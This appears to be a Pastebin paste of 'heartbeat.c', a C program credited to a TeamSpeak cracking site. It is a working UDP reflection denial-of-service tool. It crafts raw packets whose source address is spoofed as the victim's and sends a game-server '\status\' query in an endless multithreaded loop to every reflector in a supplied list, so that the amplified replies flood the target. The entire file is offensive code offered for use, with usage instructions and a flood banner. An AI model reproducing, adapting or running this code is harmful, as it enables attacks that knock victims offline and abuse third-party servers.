Merlyz

heartbeat.c

Oct 12th, 2020
725
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. gcc -oterm -lpthread -w scriptname.c -o scriptname
  3.  */
  4. #include <time.h>
  5. #include <pthread.h>
  6. #include <unistd.h>
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <sys/socket.h>
  11. #include <netinet/ip.h>
  12. #include <netinet/udp.h>
  13. #include <arpa/inet.h>
  14. #define MAX_PACKET_SIZE 8192
  15. #define PHI 0x9e3779b9
  16. #define LINUX system // redefine this to #define BSD system if compiling on BSD
  17. static uint32_t Q[4096], c = 362436;
  18.  
  19. char payload[] = "\x5c\x73\x74\x61\x74\x75\x73\x5c";
  20. size = 8;
  21.  
  22.  
  23. struct list
  24. {
  25.     struct sockaddr_in data;
  26.     struct list *next;
  27.     struct list *prev;
  28. };
  29. struct list *head;
  30. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  31. void init_rand(uint32_t x){
  32.       int i;
  33.       Q[0] = x;
  34.       Q[1] = x + PHI;
  35.       Q[2] = x + PHI + PHI;
  36.       for (i = 3; i < 4096; i++)
  37.       {
  38.       Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  39.     }
  40. }
  41.  
  42. uint32_t rand_cmwc(void)
  43.     {
  44.       uint64_t t, a = 18782LL;
  45.       static uint32_t i = 4095;
  46.       uint32_t x, r = 0xffffffe;
  47.       i = (i + 1) & 4095;
  48.       t = a * Q[i] + c;
  49.       c = (t >> 32);
  50.       x = t + c;
  51.       if (x < c) {
  52.             x++;
  53.             c++;
  54.       }
  55.       return (Q[i] = r - x);
  56.     }
  57.  
  58.     /* function for header checksums */
  59. unsigned short csum (unsigned short *buf, int nwords)
  60.     {
  61.       unsigned long sum;
  62.       for (sum = 0; nwords > 0; nwords--)
  63.       sum += *buf++;
  64.       sum = (sum >> 16) + (sum & 0xffff);
  65.       sum += (sum >> 16);
  66.       return (unsigned short)(~sum);
  67.     }
  68.  
  69. void setup_ip_header(struct iphdr *iph)
  70.     {
  71.       iph->ihl = 5;
  72.       iph->version = 4;
  73.       iph->tos = 0;
  74.       iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + size;
  75.       iph->id = htonl(54321);
  76.       iph->frag_off = 0;
  77.       iph->ttl = MAXTTL;
  78.       iph->protocol = IPPROTO_UDP;
  79.       iph->check = 0;
  80.       iph->saddr = inet_addr("192.168.3.100");
  81.     }
  82.  
  83. void setup_udp_header(struct udphdr *udph)
  84.     {
  85.       udph->source = htons(57608);
  86.       udph->dest = htons(7778);
  87.       udph->check = 0;
  88.       //            \x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02
  89.       memcpy((void *)udph + sizeof(struct udphdr), payload, size);
  90.       udph->len=htons(sizeof(struct udphdr) + size);
  91.     }
  92.  
  93. void *flood(void *par1)
  94.     {
  95.       struct thread_data *td = (struct thread_data *)par1;
  96.       char datagram[MAX_PACKET_SIZE];
  97.       struct iphdr *iph = (struct iphdr *)datagram;
  98.       struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  99.       struct sockaddr_in sin = td->sin;
  100.       struct  list *list_node = td->list_node;
  101.       int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  102.       if(s < 0){
  103.             fprintf(stderr, "Could not open raw socket.\n");
  104.             exit(-1);
  105.       }
  106.       init_rand(time(NULL));
  107.       memset(datagram, 0, MAX_PACKET_SIZE);
  108.       setup_ip_header(iph);
  109.       setup_udp_header(udph);
  110.       udph->source = sin.sin_port;
  111.       iph->saddr = sin.sin_addr.s_addr;
  112.       iph->daddr = list_node->data.sin_addr.s_addr;
  113.       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  114.       int tmp = 1;
  115.       const int *val = &tmp;
  116.       if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  117.             fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  118.             exit(-1);
  119.       }
  120.       int i=0;
  121.       while(1){
  122.             sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  123.             list_node = list_node->next;
  124.             iph->daddr = list_node->data.sin_addr.s_addr;
  125.             iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  126.             if(i==5)
  127.             {
  128.             usleep(0);
  129.             i=0;
  130.             }
  131.             i++;
  132.       }
  133.     }
  134. int main(int argc, char *argv[ ])
  135.     {
  136.       if(argc < 4){
  137.             fprintf(stderr, "Invalid parameters!\n");
  138.             fprintf(stdout, "HeartBeat by AnonnPL - TeamSpeakCrack.com\n");
  139.             fprintf(stdout, "Usage: %s <IP> <port> <reflection file> <threads> <time>\n", argv[0]);
  140.             exit(-1);
  141.       }
  142.       int i = 0;
  143.       head = NULL;
  144.       fprintf(stdout, "Setting up Sockets...\n");
  145.       int max_len = 128;
  146.       char *buffer = (char *) malloc(max_len);
  147.       buffer = memset(buffer, 0x00, max_len);
  148.       int num_threads = atoi(argv[4]);
  149.       FILE *list_fd = fopen(argv[3],  "r");
  150.       while (fgets(buffer, max_len, list_fd) != NULL) {
  151.             if ((buffer[strlen(buffer) - 1] == '\n') ||
  152.             (buffer[strlen(buffer) - 1] == '\r')) {
  153.             buffer[strlen(buffer) - 1] = 0x00;
  154.             if(head == NULL)
  155.             {
  156.             head = (struct list *)malloc(sizeof(struct list));
  157.             bzero(&head->data, sizeof(head->data));
  158.             head->data.sin_addr.s_addr=inet_addr(buffer);
  159.             head->next = head;
  160.             head->prev = head;
  161.             } else {
  162.             struct list *new_node = (struct list *)malloc(sizeof(struct list));
  163.             memset(new_node, 0x00, sizeof(struct list));
  164.             new_node->data.sin_addr.s_addr=inet_addr(buffer);
  165.             new_node->prev = head;
  166.             new_node->next = head->next;
  167.             head->next = new_node;
  168.             }
  169.             i++;
  170.             } else {
  171.             continue;
  172.             }
  173.       }
  174.       struct list *current = head->next;
  175.       pthread_t thread[num_threads];
  176.       struct sockaddr_in sin;
  177.       sin.sin_family = AF_INET;
  178.       sin.sin_port = htons(atoi(argv[2]));
  179.       sin.sin_addr.s_addr = inet_addr(argv[1]);
  180.       struct thread_data td[num_threads];
  181.       for(i = 0;i<num_threads;i++){
  182.             td[i].thread_id = i;
  183.             td[i].sin= sin;
  184.             td[i].list_node = current;
  185.             pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  186.       }
  187.       fprintf(stdout, "HeartBeat by AnonnPL - TeamSpeakCrack.com\n");
  188.       fprintf(stdout, "Starting Flood...\n");
  189.       if(argc > 5)
  190.       {
  191.             sleep(atoi(argv[5]));
  192.       } else {
  193.             while(1){
  194.             sleep(1);
  195.             }
  196.       }
  197.       return 0;
  198.     }
RAW Paste Data